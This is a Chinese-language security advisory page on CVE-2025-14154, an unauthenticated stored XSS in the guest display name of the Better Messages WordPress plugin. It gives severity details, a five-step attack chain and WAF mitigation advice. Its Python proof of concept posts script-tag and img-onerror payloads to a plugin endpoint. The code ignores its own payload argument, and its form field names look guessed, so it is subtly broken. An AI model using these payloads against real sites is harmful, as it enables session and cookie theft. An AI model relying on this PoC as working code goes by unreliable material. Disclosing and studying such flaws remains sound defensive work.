IPBUF安全漏洞报告
English
CVE-2025-14154 CVSS 6.1 中危

CVE-2025-14154 WordPress Better Messages插件存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-14154
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Better Messages – Live Chat for WordPress (WordPress插件)

相关标签

CVE-2025-14154存储型XSSWordPress插件漏洞Better Messages跨站脚本攻击WordPress安全CMS漏洞CVSS 6.1

漏洞概述

CVE-2025-14154是WordPress Better Messages插件中的一个存储型跨站脚本(XSS)漏洞。该插件是一款为WordPress、BuddyPress、PeepSo、Ultimate Member和BuddyBoss平台提供实时聊天功能的插件。漏洞存在于访客显示名称的处理逻辑中,由于插件在处理访客用户输入时未进行充分的输入清理和输出转义,导致恶意脚本可以被存储在数据库中。当其他用户访问包含恶意代码的页面时,注入的JavaScript代码会在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、网页篡改等安全问题。由于攻击可以通过网络发起且无需认证即可注入恶意代码,因此该漏洞具有较高的利用潜力。

技术细节

该漏洞的根本原因在于Better Messages插件的访客功能模块(inc/guests.php)对用户输入的处理存在安全缺陷。攻击者可以在注册访客账户时,在显示名称字段中嵌入恶意JavaScript代码。由于插件仅进行了基础的输入验证而缺少适当的HTML转义处理,当该显示名称在其他用户界面中呈现时,浏览器会将其解析为可执行脚本而非纯文本。存储型XSS的特点是恶意代码被永久存储在服务器端,每次有用户访问相关页面时都会触发执行。攻击者利用此漏洞可窃取用户Cookie、会话令牌,执行任意操作,或将用户重定向至钓鱼站点。漏洞影响所有版本直至2.10.2,官方已在后续版本中通过加强输入过滤和输出转义修复了此问题。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本及Better Messages插件,确认为受影响版本(≤2.10.2)
STEP 2
步骤2: 漏洞探测
攻击者通过发送带有恶意载荷的请求到插件的访客消息接口,在display_name参数中注入XSS脚本
STEP 3
步骤3: 恶意代码存储
由于插件输入过滤不足,恶意JavaScript代码被未经转义存储到数据库中
STEP 4
步骤4: 触发执行
当其他用户访问包含该恶意显示名称的聊天页面或消息列表时,浏览器解析并执行注入的脚本
STEP 5
步骤5: 攻击成功
攻击者通过XSS成功窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import random import string def generate_random_name(): return ''.join(random.choices(string.ascii_letters, k=8)) def exploit_stored_xss(target_url, malicious_payload): """ CVE-2025-14154 PoC - Better Messages Plugin Stored XSS via Guest Display Name Vulnerability: Stored XSS in guest display name field Affected: Better Messages plugin <= 2.10.2 Attack Vector: Unauthenticated attacker injects JS via guest user registration """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Generate random guest identifier guest_id = generate_random_name() # Malicious payload - XSS via display name # This will be stored and executed when other users view the message payload = f'{guest_id}<script>alert(String.fromCharCode(88,83,83))</script>' # Simulate guest message submission with malicious display name data = { 'guest_name': payload, 'message': 'Test message for XSS verification', 'action': 'bp_messages_send_reply' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f'[+] Payload sent: {payload}') print(f'[+] Response status: {response.status_code}') return True except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': target = 'https://vulnerable-site.com/wp-admin/admin-ajax.php' xss_payload = '<img src=x onerror=alert(document.cookie)>' exploit_stored_xss(target, xss_payload) print('[+] Check if XSS is triggered when viewing messages')

影响范围

Better Messages插件 ≤ 2.10.2 (所有版本)

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Better Messages插件的访客消息功能,或在Web应用防火墙(WAF)层添加规则过滤包含<script>、<img>、<svg>等危险HTML标签的请求。同时建议监控日志中的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表